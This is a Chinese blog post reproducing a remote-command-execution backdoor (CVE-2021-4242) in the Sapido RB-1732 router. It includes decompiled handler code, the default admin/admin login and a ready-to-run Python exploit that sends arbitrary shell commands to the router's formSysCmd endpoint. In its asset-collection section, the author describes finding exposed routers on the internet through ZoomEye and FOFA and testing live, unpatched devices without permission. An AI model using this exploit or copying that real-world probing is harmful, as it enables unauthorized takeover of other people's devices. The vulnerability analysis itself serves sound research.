Sapido RB-1732 路由器 RCE 漏洞 :: Entropic

# 前言

所以，这是我入门 IoT 复现的第一个漏洞 :D

看到 Arch Linux ~~神（邪）教~~被孤立还是很难过的……最后迫不得已，还是搭建了 [Atti
fyOS](https://www.attify.com/) 虚拟机，老老实实用它仿真，不过分析和写 exp 这种事
情还是在宿主机进行，其实感觉还好，整个流程并没有让我觉得有多麻烦。

~~嗯……有空研究一下市面上仿真项目的源码，然后写一个适用于 arch 的仿真工具孤立所有
非我教者（~~

# 漏洞介绍

好了，不瞎扯了，说点正经的……搜了一下，这个漏洞的 CVE 是：[CVE-2021-4242](https:/
/nvd.nist.gov/vuln/detail/CVE-2021-4242)，说实话一开始以为是一个很老的漏洞，没想
到也就近几年。

对于这个洞的描述是：

CVE: https://www.cve.org/CVERecord?id=CVE-2021-4242

说白了就是一个没有过滤后门页面的访问的问题，虽然洞很简单，但这里主要是为了学习，
体会实战中如何寻找漏洞的一个思路，而不是为了复现而复现。

# 固件仿真

~~仿真还不是 easy peasy，只要人品足够好，不是吗？~~

这里我使用的是 [Firmware Analysis Toolkit](https://github.com/attify/firmware-an
alysis-toolkit)，直接梭掉了，没有遇到什么奇奇怪怪的问题。~~人品保障（~~

为了方便测试，这里我写了一个无比简陋的端口转发脚本，这样就可以从宿主机访问仿真出
来的路由器后端了：

```bash
#!/bin/bash

TARGET_IP="$1"
PORT_RULES="$2"

if [[ -z "$TARGET_IP" || -z "$PORT_RULES" ]]; then
  echo "usage: $0 <target_ip> "<host_port:target_port> <host_port:target_port> .
..""
  exit 1
fi

if ! command -v socat >/dev/null 2>&1; then
  echo "[-] socat not found."
  exit 1
fi

echo "[*] Target IP: $TARGET_IP"
echo "[*] Rules: $PORT_RULES"
echo

for rule in $PORT_RULES; do
  HOST_PORT="${rule%%:*}"
  TARGET_PORT="${rule##*:}"

  echo "[+] Forwarding host: $HOST_PORT → $TARGET_IP:$TARGET_PORT"

  socat TCP-LISTEN:"$HOST_PORT",fork TCP:"$TARGET_IP":"$TARGET_PORT" &

  PID=$!
  echo "    Started (PID=$PID)"
done

echo
echo "[OK] All forwarding rules loaded."
```

# 漏洞分析

闭眼 `binwalk`，~~幸运女神保佑我，别加密，别加密（~~

正合我意，是没有加密的 SquashFS 文件系统。下面随机抓一个倒霉蛋问问架构：

Well，32-bit 大端 MIPS，现在基本的信息算是搜集的差不多了，接下来就应该去分析它是
如何把 http 服务跑起来的了。

我们发现 `/etc/init.d` 下有三个文件，`rcS`、`rcS_16M` 和 `rcS_32M`，盲猜后两个是
设计用于特定内存大小使用的，我们直接看 `rcS` 就好了，另外两个也大差不差。

快速过一遍这个脚本，大致可以看出来就是做了一些初始化工作，诸如网络设置，硬件检测
啦之类的事情，最后，我们凭借敏锐的注意力发现它在一切准备就绪后执行了一个叫做 `we
bs` 的程序：

盲猜这个路由器就是通过它来启服务的。找到入口后，发现是 ELF 文件，那就丢给 IDA 姐
姐分析一下看看它偷偷摸摸地在幕后做了些什么坏坏的事情（

~~然后发现已经快凌晨四点了，这说明白天睡觉的效益并不大，早岁晚起才是真理（~~

粗略看了一下，就是很常规的启动 web 服务器，注册 `cgi-bin` 和 `goform` handlers 
用于执行实际操作：

其中有一个疑似后门的 form handler：

直接进入函数分析分析它到底干了点啥：

```c {23} del={28-32} collapse={1-19, 35-95}
int __fastcall formSysCmd(int a1)
{
  int Var; // $s4
  const char *v3; // $s1
  _BYTE *v4; // $s5
  int v5; // $s6
  const char *p_writepath; // $s3
  _BYTE *v7; // $s7
  int v8; // $v0
  _DWORD *v9; // $s0
  int v10; // $a0
  const char *Var_1; // $a1
  int v12; // $v0
  int v13; // $s1
  void (__fastcall *p_fputc)(int, _DWORD *); // $t9
  _BYTE *v15; // $a0
  _BYTE *v16; // $a3
  int v17; // $a0
  int v18; // $v0
  char p_writepath_1[104]; // [sp+20h] [-68h] BYREF

  Var = websGetVar(a1, "submit-url", &dword_47F498);
  v3 = (const char *)websGetVar(a1, "sysCmd", &dword_47F498);
  v4 = (_BYTE *)websGetVar(a1, "writeData", &dword_47F498);
  v5 = websGetVar(a1, "filename", &dword_47F498);
  p_writepath = (const char *)websGetVar(a1, "fpath", &dword_47F498);
  v7 = (_BYTE *)websGetVar(a1, "readfile", &dword_47F498);
  if ( *v3 )
  {
    snprintf(p_writepath_1, 100, "%s 2>&1 > %s", v3, "/tmp/syscmd.log");
    system(p_writepath_1);
  }
  if ( *v4 )
  {
    strcpy(p_writepath_1, p_writepath);
    strcat(p_writepath_1, v5);
    v8 = fopen(p_writepath_1, "w");
    v9 = (_DWORD *)v8;
    if ( !v8 )
    {
      printf("Open %s fail.n", p_writepath_1);
      v10 = a1;
      Var_1 = (const char *)Var;
      return websRedirect(v10, Var_1);
    }
    v13 = 0;
    v12 = fileno(v8);
    fchmod(v12, 511);
    if ( *(int *)(a1 + 240) > 0 )
    {
      while ( 1 )
      {
        p_fputc = (void (__fastcall *)(int, _DWORD *))&fputc;
        if ( !v9[13] )
          break;
        v15 = (_BYTE *)v9[4];
        p_fputc = (void (__fastcall *)(int, _DWORD *))&_fputc_unlocked;
        v16 = (_BYTE *)(*(_DWORD *)(a1 + 204) + v13);
        if ( (unsigned int)v15 >= v9[7] )
        {
          v17 = (char)*v16;
LABEL_12:
          p_fputc(v17, v9);
          goto LABEL_13;
        }
        *v15 = *v16;
        v9[4] = v15 + 1;
LABEL_13:
        if ( ++v13 >= *(_DWORD *)(a1 + 240) )
          goto LABEL_14;
      }
      v17 = *(char *)(*(_DWORD *)(a1 + 204) + v13);
      goto LABEL_12;
    }
LABEL_14:
    fclose(v9);
    printf("Write to %sn", p_writepath_1);
    strcpy(&writepath, p_writepath);
  }
  if ( *v7 && (v18 = fopen(p_writepath, "r")) != 0 )
  {
    fclose(v18);
    sprintf(p_writepath_1, "cat %s > /web/obama.dat", p_writepath);
    system(p_writepath_1);
    usleep(10000);
    v10 = a1;
    Var_1 = "/obama.dat";
  }
  else
  {
    v10 = a1;
    Var_1 = (const char *)Var;
  }
  return websRedirect(v10, Var_1);
}
```

我们发现它获取了 `sysCmd` 后并构造了一个 `<sysCmd> 2>&1 > /tmp/syscmd.log` 指令
，保存在 `p_writepath_1`，然后直接调用 `system(p_writepath_1)`。那我们如果可以控
制 `sysCmd` 的话就能执行任意代码了，所以下面应该找一下哪里使用了这个 form。

下面是使用 `ripgrep` 搜索的结果：

发现除了 `webs` 这个二进制文件外，还有 `web/syscmd.asp` 和 `web/obama.asp` 也包
含了这个 form，直接跟进，对比发现这两个文件的区别就在于提供的功能数量，`obama.as
p` 比 `syscmd.asp` 多提供了操作文件的功能，而我们最关心的 `sysCmd` 被定义为一个
输入框，即我们可控它的内容：

# 漏洞利用

上面有关这个 CVE 的漏洞分析的就差不多了，我们可以试试能不能直接访问 `syscmd.asp`
 和 `obama.asp` 这两个页面，不过测试发现没登陆的情况下访问会被重定向回到登陆页面
，网上搜到了这个路由器的默认账号密码是 `admin/admin`，用它登陆后再访问就进去了，
发现和我们分析的一模一样，可以执行任意指令，并且 `obama.asp` 的功能更多：

btw 有些不同型号的是 `htm` 而不是 `asp`，这个可以自己测试一下。

~~不过为什么要用美国总统的名字？？好奇怪呀……~~

## 资产收集

只是打本地多没意思，我们玩的可是实战。本来只是抱着试一试的心态尝试 `ZoomEye` 和 
`FOFA` 看看能不能找到一别暴露在公网的服务，结果意外地搜出一堆……大家安全意识都那
么薄弱的吗？而且测试发现大多数暴露在外的服务都没有修复这个漏洞，随便抓一个倒霉蛋
发现甚至连默认账号密码都没改，有些甚至不用登陆就直接进管理面板了……

## Exploit

开开心心去写 exp 咯～

```python
#!/usr/bin/env python3

import requests
from pwn import log, sys


def rce(host, port, cmd):
    payload = {
        "sysCmd": cmd,
        "apply": "Apply",
        "submit-url": "/obama.asp",
    }

    try:
        r = requests.post(
            f"http://{host}:{port}/goform/formSysCmd",
            data=payload,
            timeout=5,
        )
    except Exception as e:
        log.error(f"HTTP request failed: {e}")

    text = r.text
    start_tag = '<textarea rows="15" name="msg" cols="80" wrap="virtual">'
    end_tag = "</textarea>"

    start = text.find(start_tag)
    end = text.rfind(end_tag)

    if start < 0 or end < 0:
        log.warn("Output parsing failed.")
        return text

    return text[start + len(start_tag) : end]


def main():
    log.success(rce(sys.argv[1], sys.argv[2], sys.argv[3]))


if __name__ == "__main__":
    main()
```

# 修复建议

这种后门页面完全没必要公开出来吧，应该直接删掉才是，而且我并没有看到有什么地方需
要用到这个后门页面进行什么操作。就算要保留也应该对可以使用的指令做一个过滤才是。

# 后记

至此，人生中第一个路由器 RCE 漏洞复现成功，我也算是真正步入 IoT 的世界了，不过说
实话从这个漏洞中我可能并没有学到太多东西，只是对如何寻找漏洞，对常见路由器设备的
架构以及其可能的攻击面有了一个粗略的了解吧，总的来说收获不是很大，但这个独自研究
摸索的过程还是很快乐的。

推荐订阅源

Entropic